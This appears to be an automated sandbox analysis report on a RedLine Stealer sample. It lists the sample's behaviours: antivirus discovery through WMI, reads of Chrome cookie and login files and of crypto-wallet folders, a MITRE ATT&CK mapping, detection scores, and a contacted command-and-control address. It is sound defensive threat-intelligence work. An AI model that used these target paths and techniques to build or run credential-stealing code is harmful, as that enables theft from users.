Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.hy4iXHZVJ4.exe.84d658.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hy4iXHZVJ4.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.324332511.00000000009D2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.328701163.000000000084C000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 104032, type: MEMORYSTR

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: vbc.exe, 00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: vbc.exe, 00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Kl1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: hy4iXHZVJ4.exe, 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: gepjaxxqtw
Source: vbc.exe, 00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: vbc.exe, 00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: vbc.exe, 00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: vbc.exe, 00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: vbc.exe, 00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Kl5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Source: Yara match	File source: 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 104032, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.hy4iXHZVJ4.exe.84d658.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hy4iXHZVJ4.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.324332511.00000000009D2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.328701163.000000000084C000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 104032, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	Path Interception	211 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	231 Virtualization/Sandbox Evasion	Security Account Manager	231 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	211 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	123 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	4 Obfuscated Files or Information	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	2 Software Packing	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
hy4iXHZVJ4.exe	88%	ReversingLabs	Win32.Trojan.RedLine
hy4iXHZVJ4.exe	62%	Virustotal		Browse
hy4iXHZVJ4.exe	100%	Joe Sandbox ML

URLs

Source	Detection	Scanner	Label
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://www.w3.o	0%	URL Reputation	safe
195.2.79.103:29071	0%	Avira URL Cloud	safe

Domains and IPs

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
195.2.79.103:29071	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	vbc.exe, 00000002.00000003.390714505.0000000007B51000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	hy4iXHZVJ4.exe	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	hy4iXHZVJ4.exe, 00000000.00000002.328701163.000000000084C000.00000004.00000010.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/sc	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1Response	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	vbc.exe, 00000002.00000003.390714505.0000000007B51000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfpf	vbc.exe, 00000002.00000003.390714505.0000000007B51000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault	vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.w3.o	vbc.exe, 00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rmD	vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	vbc.exe, 00000002.00000003.390714505.0000000007B51000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	false		high
